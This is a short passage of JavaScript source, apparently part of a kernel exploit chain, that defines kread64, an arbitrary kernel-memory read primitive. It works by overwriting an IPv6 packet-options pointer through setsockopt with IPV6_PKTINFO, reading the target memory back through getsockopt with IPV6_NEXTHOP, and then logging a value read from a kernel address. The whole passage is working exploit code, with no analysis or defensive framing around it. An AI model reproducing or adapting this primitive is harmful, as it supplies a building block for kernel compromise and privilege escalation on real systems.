| 1245 | const read_buf = new Buffer(8); |
| 1246 | const read_buf_p = read_buf.addr; |
| 1247 | function kread64(addr) { |
| 1248 | const len = 8; |
| 1249 | let offset = 0; |
| 1250 | while (offset < len) { |
| 1251 | // pktopts.ip6po_nhinfo = addr + offset |
| 1252 | pktinfo.write64(8, addr.add(offset)); |
| 1253 | nhop[0] = len - offset; |
| 1254 | |
| 1255 | ssockopt(psd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo); |
| 1256 | sysi("getsockopt", psd, IPPROTO_IPV6, IPV6_NEXTHOP, read_buf_p.add(offset), nhop_p); |
| 1257 | |
| 1258 | const n = nhop[0]; |
| 1259 | if (n === 0) { |
| 1260 | read_buf[offset] = 0; |
| 1261 | offset += 1; |
| 1262 | } else { |
| 1263 | offset += n; |
| 1264 | } |
| 1265 | } |
| 1266 | return read_buf.read64(0); |
| 1267 | } |
| 1268 | |
| 1269 | log(`kread64(&"evf cv"): ${kread64(kernel_addr)}`); |
| 1270 | const kstr = jstr(read_buf); |